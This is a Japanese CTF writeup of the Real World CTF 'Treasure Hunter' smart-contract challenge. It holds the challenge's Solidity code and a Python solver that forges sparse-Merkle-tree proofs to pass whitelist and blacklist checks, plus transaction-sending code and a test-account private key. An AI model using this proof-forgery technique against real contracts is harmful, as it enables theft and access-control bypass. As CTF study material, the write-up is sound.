Real World CTF Writeup

Sun Jan 23 2022

1/21-23 に開催していた Real World CTF にチーム WreckTheLine で参加しました。結果は 5th/947 (得点のあるチームのみカウント) でした。

基本的に Pwn や Web が主体の CTF で、自分には取っ掛かりすらわからない問題だらけでした。そんな中で "Crypto" タグのついている問題が1つだけあったのでその問題を見てみると Cryptography 問ではなく Cryptocurrency 問でした…ですが最近 Capture the Ether をやり始めたのもあり、なんとか解けました。初 Cryptocurrency 問が解けたのは素直に嬉しいです。スマートな解き方はできなかった気がしますが、せっかくなので writeup を書きます。

Crypto (currency)

Treasure Hunter

21 solves

TreasureHunter.sol
pragma solidity >=0.8.0 <0.9.0;

import {SMT} from "./SparseMerkleTree.sol";

contract TreasureHunter {
    bytes32 public root;
    SMT.Mode public smtMode = SMT.Mode.WhiteList;
    bool public solved = false;

    mapping(address => bool) public haveKey;
    mapping(address => bool) public haveTreasureChest;

    event FindKey(address indexed _from);
    event PickupTreasureChest(address indexed _from);
    event OpenTreasureChest(address indexed _from);

    constructor() public {
        root = SMT.init();
        _init();
    }

    function _init() internal {
        address[] memory hunters = new address[](8);
        hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e;
        hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
        hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
        hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
        hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
        hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
        hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52;
        hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

        SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8);
        SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8);
        for (uint8 i = 0; i < hunters.length; i++) {
            nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1});
            prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0});
        }

        bytes32[] memory proof = new bytes32[](22);
        proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095;
        proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099;
        proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e;
        proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c;
        proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b;
        proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c;
        proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e;
        proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048;
        proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f;

        root = SMT.update(proof, nextLeaves, prevLeaves, root);
    }

    function enter(bytes32[] memory _proofs) public {
        require(haveKey[msg.sender] == false);
        root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);
    }

    function leave(bytes32[] memory _proofs) public {
        require(haveTreasureChest[msg.sender] == false);
        root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
    }

    function findKey(bytes32[] memory _proofs) public {
        require(smtMode == SMT.Mode.BlackList, "not blacklist mode");
        address[] memory targets = new address[](1);
        targets[0] = msg.sender;
        require(SMT.verifyByMode(_proofs, targets, root, smtMode), "hunter has fallen into a trap");
        haveKey[msg.sender] = true;
        smtMode = SMT.Mode.WhiteList;
        emit FindKey(msg.sender);
    }

    function pickupTreasureChest(bytes32[] memory _proofs) public {
        require(smtMode == SMT.Mode.WhiteList, "not whitelist mode");
        address[] memory targets = new address[](1);
        targets[0] = msg.sender;
        require(
            SMT.verifyByMode(_proofs, targets, root, smtMode),
            "hunter hasn't found the treasure chest"
        );
        haveTreasureChest[msg.sender] = true;
        smtMode = SMT.Mode.BlackList;
        emit PickupTreasureChest(msg.sender);
    }

    function openTreasureChest() public {
        require(haveKey[msg.sender] && haveTreasureChest[msg.sender]);
        solved = true;
        emit OpenTreasureChest(msg.sender);
    }

    function isSolved() public view returns (bool) {
        return solved;
    }
}

SparseMerkleTree.sol
pragma solidity >=0.8.0 <0.9.0;

uint256 constant SMT_STACK_SIZE = 32;
uint256 constant DEPTH = 160;

library SMT {
    struct Leaf {
        address key;
        uint8 value;
    }

    enum Mode {
        BlackList,
        WhiteList
    }

    enum Method {
        Insert,
        Delete
    }

    function init() internal pure returns (bytes32) {
        return 0;
    }

    function calcLeaf(Leaf memory a) internal pure returns (bytes32) {
        if (a.value == 0) {
            return 0;
        } else {
            return keccak256(abi.encode(a.key, a.value));
        }
    }

    function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) {
        if (l == 0) {
            return r;
        } else if (r == 0) {
            return l;
        } else {
            return keccak256(abi.encode(l, r));
        }
    }

    function verifyByMode(
        bytes32[] memory _proofs,
        address[] memory _targets,
        bytes32 _expectedRoot,
        Mode _mode
    ) internal pure returns (bool) {
        Leaf[] memory leaves = new Leaf[](_targets.length);
        for (uint256 i = 0; i < _targets.length; i++) {
            leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)});
        }
        return verify(_proofs, leaves, _expectedRoot);
    }

    function verify(
        bytes32[] memory _proofs,
        Leaf[] memory _leaves,
        bytes32 _expectedRoot
    ) internal pure returns (bool) {
        return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot);
    }

    function updateSingleTarget(
        bytes32[] memory _proofs,
        address _target,
        bytes32 _prevRoot,
        Method _method
    ) internal pure returns (bytes32) {
        Leaf[] memory nextLeaves = new Leaf[](1);
        Leaf[] memory prevLeaves = new Leaf[](1);
        nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1});
        prevLeaves[0] = Leaf({key: _target, value: uint8(_method)});
        return update(_proofs, nextLeaves, prevLeaves, _prevRoot);
    }

    function update(
        bytes32[] memory _proofs,
        Leaf[] memory _nextLeaves,
        Leaf[] memory _prevLeaves,
        bytes32 _prevRoot
    ) internal pure returns (bytes32) {
        require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid");
        return calcRoot(_proofs, _nextLeaves, _prevRoot);
    }

    function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) {
        require(_leaves.length >= 1);
        uint160 temp = 0;
        for (uint256 i = 0; i < _leaves.length; i++) {
            if (temp >= uint160(_leaves[i].key)) {
                return false;
            }
            temp = uint160(_leaves[i].key);
        }
        return true;
    }

    function getBit(uint160 key, uint256 height) internal pure returns (uint256) {
        require(height <= DEPTH);
        return (key >> height) & 1;
    }

    function parentPath(uint160 key, uint256 height) internal pure returns (uint160) {
        require(height <= DEPTH);
        return copyBit(key, height + 1);
    }

    function copyBit(uint160 key, uint256 height) internal pure returns (uint160) {
        require(height <= DEPTH);
        return ((key >> height) << height);
    }

    function calcRoot(
        bytes32[] memory _proofs,
        Leaf[] memory _leaves,
        bytes32 _root
    ) internal pure returns (bytes32) {
        require(checkGroupSorted(_leaves));
        uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);
        bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);
        uint256 proofIndex = 0;
        uint256 leaveIndex = 0;
        uint256 stackTop = 0;

        while (proofIndex < _proofs.length) {
            if (uint256(_proofs[proofIndex]) == 0x4c) {
                proofIndex++;
                require(stackTop < SMT_STACK_SIZE);
                require(leaveIndex < _leaves.length);
                stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);
                stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);
                stackTop++;
                leaveIndex++;
            } else if (uint256(_proofs[proofIndex]) == 0x50) {
                proofIndex++;
                require(stackTop != 0);
                require(proofIndex + 2 <= _proofs.length);

                uint256 height = uint256(_proofs[proofIndex++]);
                bytes32 currentProof = _proofs[proofIndex++];
                require(currentProof != _root);
                if (getBit(stackKeys[stackTop - 1], height) == 1) {
                    stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]);
                } else {
                    stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof);
                }
                stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
            } else if (uint256(_proofs[proofIndex]) == 0x48) {
                proofIndex++;
                require(stackTop >= 2);
                require(proofIndex < _proofs.length);
                uint256 height = uint256(_proofs[proofIndex++]);
                uint256 aSet = getBit(stackKeys[stackTop - 2], height);
                uint256 bSet = getBit(stackKeys[stackTop - 1], height);
                stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height);
                stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
                require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet);

                if (aSet == 1) {
                    stackValues[stackTop - 2] = merge(
                        stackValues[stackTop - 1],
                        stackValues[stackTop - 2]
                    );
                } else {
                    stackValues[stackTop - 2] = merge(
                        stackValues[stackTop - 2],
                        stackValues[stackTop - 1]
                    );
                }
                stackTop -= 1;
            } else {
                revert();
            }
        }
        require(leaveIndex == _leaves.length);
        require(stackTop == 1);
        return stackValues[0];
    }
}

TreasureHunter の findKey や pickupTreasureChest を適切な引数を与えて呼び、 haveKey[msg.sender] && haveTreasureChest[msg.sender] を満たすようにすればフラグが手に入ります。

ひとまずアカウントの発行、 faucet から ETH 取得、 contract の deploy を行います。

処理の流れを理解するため、 SMT library の calcRoot の動作を重点的に追いました。 stack machine になっており、値 (leaves) を stack に追加したり、 stack 上の値を concat して hash を取ったりするような計算をしています。いろいろ実験するため、 python で再実装しました。

from binascii import unhexlify
from dataclasses import dataclass
from typing import List, Sequence, Union

from Crypto.Util.number import bytes_to_long
from eth_abi.abi import encode_abi
from web3 import Web3


def my_hash(a: bytes, b: Union[int, bytes]) -> bytes:
    if isinstance(b, int):
        return unhexlify(Web3.keccak(encode_abi(['address', 'uint8'], ["0x" + a.hex(), b])).hex()[2:])
    elif isinstance(b, bytes):
        return unhexlify(Web3.keccak(encode_abi(['bytes32', 'bytes32'], [a, b])).hex()[2:])
    else:
        raise ValueError


@dataclass
class Leaf:
    key: bytes
    value: int


SMT_STACK_SIZE = 32
DEPTH = 160


def calc_leaf(leaf: Leaf) -> bytes:
    if leaf.value == 0:
        return b"\x00" * 32
    else:
        return my_hash(leaf.key, leaf.value)


def get_bit(key: int, height: int) -> int:
    assert height <= DEPTH
    return (key >> height) & 1


def merge(l: bytes, r: bytes) -> bytes:
    if bytes_to_long(l) == 0:
        return r
    elif bytes_to_long(r) == 0:
        return l
    else:
        return my_hash(l, r)


def copy_bit(key: int, height: int) -> int:
    assert height <= DEPTH
    return (key >> height) << height


def parent_path(key: int, height: int) -> int:
    assert height <= DEPTH
    return copy_bit(key, height + 1)


def calc_root(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> bytes:
    stack_keys: List[int] = [0] * SMT_STACK_SIZE
    stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
    proof_index = 0
    leave_index = 0
    stack_top = 0
    while proof_index < len(proofs):
        if bytes_to_long(proofs[proof_index]) == 0x4c:
            proof_index += 1
            assert stack_top < SMT_STACK_SIZE
            assert leave_index < len(leaves)
            stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
            stack_values[stack_top] = calc_leaf(leaves[leave_index])
            stack_top += 1
            leave_index += 1
        # input: [0x50, height, current_proof]
        # use stack_keys[-2], stack_keys[-1]
        # output to the top of stack_values
        elif bytes_to_long(proofs[proof_index]) == 0x50:
            proof_index += 1
            assert stack_top != 0
            assert proof_index + 2 <= len(proofs)
            height = bytes_to_long(proofs[proof_index])
            proof_index += 1
            current_proof = proofs[proof_index]
            proof_index += 1
            assert current_proof != root
            if get_bit(stack_keys[stack_top - 1], height) == 1:
                stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
            else:
                stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
            stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
        # input: [0x48, height]
        # use stack_keys[-2], stack_keys[-1]
        # output to the top of stack_values
        elif bytes_to_long(proofs[proof_index]) == 0x48:
            proof_index += 1
            assert stack_top >= 2
            assert proof_index < len(proofs)
            height = bytes_to_long(proofs[proof_index])
            proof_index += 1
            a_set = get_bit(stack_keys[stack_top - 2], height)
            b_set = get_bit(stack_keys[stack_top - 1], height)
            stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
            stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
            assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
            if a_set == 1:
                stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
            else:
                stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
            stack_top -= 1
        else:
            raise ValueError
        print(stack_keys[:stack_top])
        print(stack_values[:stack_top])
    assert leave_index == len(leaves)
    assert stack_top == 1
    return stack_values[0]


def verify(proofs: Sequence[bytes], leaves: Sequence[Leaf], expected_root: bytes) -> bool:
    return calc_root(proofs, leaves, expected_root) == expected_root


def update(proofs: Sequence[bytes], next_leaves: Sequence[Leaf], prev_leaves: Sequence[Leaf], prev_root: bytes) -> bytes:
    assert verify(proofs, prev_leaves, prev_root)
    return calc_root(proofs, next_leaves, prev_root)


def update_single_target(proofs: Sequence[bytes], target: bytes, prev_root: bytes, method: int) -> bytes:
    next_leaves = [Leaf(key=target, value=method ^ 1)]
    prev_leaves = [Leaf(key=target, value=method)]
    return update(proofs, next_leaves, prev_leaves, prev_root)

これで再現できているかは以下のコードで確認しました。実際の contract の root と再計算した root とが一致しているかを確認しています。 contract_abi は Remix で TreasureHunter.sol をコンパイルし、 Compilation Details から ABI を取得したものです。

from const import contract_abi


w3 = Web3(Web3.HTTPProvider("http://47.243.235.111:8545/"))
addr_contract = "0xAd0306d232E7aE7Ec4f73fd1ecc1e285f6f72945"
contract = w3.eth.contract(address=addr_contract, abi=contract_abi)

hunters = [
    long_to_bytes(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e),
    long_to_bytes(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45),
    long_to_bytes(0x6B175474E89094C44Da98b954EedeAC495271d0F),
    long_to_bytes(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2),
    long_to_bytes(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
    long_to_bytes(0xc00e94Cb662C3520282E6f5717214004A7f26888),
    long_to_bytes(0xD533a949740bb3306d119CC777fa900bA034cd52),
    long_to_bytes(0xdAC17F958D2ee523a2206206994597C13D831ec7),
]
leaves = [Leaf(key=hunter, value=1) for hunter in hunters]
proofs = [
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000095, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000099, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009b, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009c, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
    long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
    long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009f, 32),
]
root = calc_root(proofs, leaves, b"\x00" * 32)
assert root == contract.functions.root().call()

まず pickupTreasureChest を通すような引数 proofs を考えます。 init でセットされた root を、 Leaf(key=msg.sender, value=1) から生成するのは難しそうなため、 pickupTreasureChest の前に enter で root を更新します。 enter では [Leaf(key=msg.sender, value=0)] が leaves のときに calcRoot の結果が root となるような proofs を指定できます。 python 実装の calc_root で init 時の stack の変化を観察すると、 root の hash が計算されるときの2つの hash がわかります。すなわち root = hash(stack[-1], stack[-2]) となる stack です。これを求めるため、以下の get_stack_values_history を書きました。ほぼ calc_root のコピペですが。

def get_stack_values_history(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> Sequence[Sequence[bytes]]:
    stack_keys: List[int] = [0] * SMT_STACK_SIZE
    stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
    history_stack = []
    proof_index = 0
    leave_index = 0
    stack_top = 0
    while proof_index < len(proofs):
        if bytes_to_long(proofs[proof_index]) == 0x4c:
            proof_index += 1
            assert stack_top < SMT_STACK_SIZE
            assert leave_index < len(leaves)
            stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
            stack_values[stack_top] = calc_leaf(leaves[leave_index])
            stack_top += 1
            leave_index += 1
        # input: [0x50, height, current_proof]
        # use stack_keys[-2], stack_keys[-1]
        # output to the top of stack_values
        elif bytes_to_long(proofs[proof_index]) == 0x50:
            proof_index += 1
            assert stack_top != 0
            assert proof_index + 2 <= len(proofs)
            height = bytes_to_long(proofs[proof_index])
            proof_index += 1
            current_proof = proofs[proof_index]
            proof_index += 1
            assert current_proof != root
            if get_bit(stack_keys[stack_top - 1], height) == 1:
                stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
            else:
                stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
            stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
        # input: [0x48, height]
        # use stack_keys[-2], stack_keys[-1]
        # output to the top of stack_values
        elif bytes_to_long(proofs[proof_index]) == 0x48:
            proof_index += 1
            assert stack_top >= 2
            assert proof_index < len(proofs)
            height = bytes_to_long(proofs[proof_index])
            proof_index += 1
            a_set = get_bit(stack_keys[stack_top - 2], height)
            b_set = get_bit(stack_keys[stack_top - 1], height)
            stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
            stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
            assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
            if a_set == 1:
                stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
            else:
                stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
            stack_top -= 1
        else:
            raise ValueError
        history_stack.append(stack_values[:stack_top].copy())
    assert leave_index == len(leaves)
    assert stack_top == 1
    return history_stack

これで求まった stack の値を使う proofs を作っていきます。 init のときに使われなかった op の 0x50 に注目すると、 proofs 内の値を stack に積むことができるため、これを利用します。以下の proofs を作ることで enter が通って root を更新できること、さらに pickupTreasureChest が通ることが確認できました。

history = get_stack_values_history(proofs, leaves, b"\x00" * 32)

# To send transaction, we need another account because we don't know the private key of given account.
# tmp_acc = w3.eth.account.create()
# player = tmp_acc.address  # 0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345
# private_key = tmp_acc.privateKey.hex()  # 0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd
player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"

sender = long_to_bytes(int(player, 16))
proofs = [
    long_to_bytes(0x4c, 32),
    long_to_bytes(0x50, 32),
    long_to_bytes(0, 32),
    history[-2][0],
    long_to_bytes(0x50, 32),
    long_to_bytes(0x9f, 32),
    history[-2][1],
]
# Call enter
root_updated = update_single_target(proofs, sender, root, 0)
# This means calling pickupTreasureChest results in success and haveTreasureChest[msg.sender] = true
assert verify(proofs, [Leaf(key=sender, value=1)], root_updated)

これを実際の contract の function に与えて呼び出します。 assert 文で root が更新されたこと、 haveTreasureChest が true になったこと、 smtMode が切り替わっていることが確認しています。

def get_nonce(addr):
    return w3.eth.get_transaction_count(addr)


def get_transaction_body(addr):
    return {
        "nonce": get_nonce(addr),
        "gas": 1239137,
        "gasPrice": 21000000000,
        "value": 0,
        "from": addr,
    }


def send_transaction(addr, func_name: str, *func_args):
    transaction_body = get_transaction_body(addr)
    function_call = contract.functions[func_name](*func_args).buildTransaction(transaction_body)
    signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
    result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
    tx_hash = w3.eth.wait_for_transaction_receipt(result)
    return tx_hash


send_transaction(player, "enter", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated

send_transaction(player, "pickupTreasureChest", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated
assert contract.functions.smtMode().call() == 0
assert contract.functions.haveTreasureChest(player).call()

続いて findKey を通すことを考えます。こちらも前の calcRoot での stack の値を使うことで、適切な proofs を作れそうです。

history = get_stack_values_history(proofs, [Leaf(key=sender, value=1)], root_updated)
proofs = [
    long_to_bytes(0x4c, 32),
    long_to_bytes(0x50, 32),
    long_to_bytes(0, 32),
    history[-2][0],
    long_to_bytes(0x50, 32),
    long_to_bytes(0x9f, 32),
    proofs[-1],
]
assert verify(proofs, [Leaf(key=sender, value=0)], root_updated)

この proofs を使って findKey を呼び出します。

send_transaction(player, "findKey", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.smtMode().call() == 1
assert contract.functions.root().call() == root_updated
assert contract.functions.haveKey(player).call()

最後に openTreasureChest を呼ぶことで solved が true となり、フラグ入手の条件を満たせます。

send_transaction(player, "openTreasureChest")
assert contract.functions.isSolved().call()

rwctf{th3r3_1$_nothing_1n_7h3_7r3a5ure_chest_f7h9fupa9xabbq7a}

このようにまとめると順調な感じで解いたように見えますが、めちゃくちゃ詰まりました… (丸一日 + 数時間) Cryptocurrency 問に不慣れだったため仕方なし。今後のために詰まったポイントをメモしておきます。

与えられたアカウントの private key がわからない

アカウントを生成するとき、 address と token が与えられるのですが、 private key は与えられません。そのため、与えられたアカウントでは transaction を行うことができません。以上の writeup では transaction 用のアカウントを自前で作ることでこれを解決しています。競技中の自分は、この問題の本質は token から private key を求める部分で、これがまさしく Crypto 問なのでは、などと大きく勘違いをし、迷走していました…ずっと pasato の仕様を読み込んでいました。

自前の contract を deploy できない

Capture the Ether で relay contract を学んでいたので、 Solver 用の contract を自前実装し、それを使ってこの問題を解こうと考えていました。実装はこちら。

pragma solidity >=0.8.0 <0.9.0;

import {TreasureHunter} from "./TreasureHunter.sol";

contract TreasureHunterSolver {
    constructor() public {
    }
    function enter(address _addr, bytes32[] memory _proofs) public {
        TreasureHunter th = TreasureHunter(_addr);
        th.enter(_proofs);
    }
    function leave(address _addr, bytes32[] memory _proofs) public {
        TreasureHunter th = TreasureHunter(_addr);
        th.leave(_proofs);
    }
    function findKey(address _addr, bytes32[] memory _proofs) public {
        TreasureHunter th = TreasureHunter(_addr);
        th.findKey(_proofs);
    }
    function pickupTreasureChest(address _addr, bytes32[] memory _proofs) public {
        TreasureHunter th = TreasureHunter(_addr);
        th.pickupTreasureChest(_proofs);
    }
    function openTreasureChest(address _addr) public {
        TreasureHunter th = TreasureHunter(_addr);
        th.openTreasureChest();
    }
    function isSolved(address _addr) public view returns (bool) {
        TreasureHunter th = TreasureHunter(_addr);
        return th.isSolved();
    }
}

この contract から、問題用 contract を呼び出して問題を解こうとしました。しかし、何故か deploy ができません… deploy に使用したコードは以下になります。

solver_player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
solver_private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"

solver_transaction_body = {
    "nonce": get_nonce(player),
    "gas": 1239137,
    "gasPrice": 21000000000,
    "value": 0,
    "from": solver_player,
    "chainId": w3.eth.chain_id,
}

solver_contract = w3.eth.contract(abi=solver_contract_abi, bytecode=json.loads(solver_bytecode)["object"])
solver_function_call = solver_contract.constructor().buildTransaction(solver_transaction_body)
solver_signed_transaction = w3.eth.account.sign_transaction(solver_function_call, solver_private_key)
result = w3.eth.send_raw_transaction(solver_signed_transaction.rawTransaction)

# これが一生終わらない
tx_hash = w3.eth.wait_for_transaction_receipt(result)

deploy した transaction が全然 block に繋がらないようです。これは原因はまだわかっていません。 geth の設定の問題なんですかね。冷静に考えると relay にする必要が一切なかったため、以上の問題ではこの Solver contract は使用していません。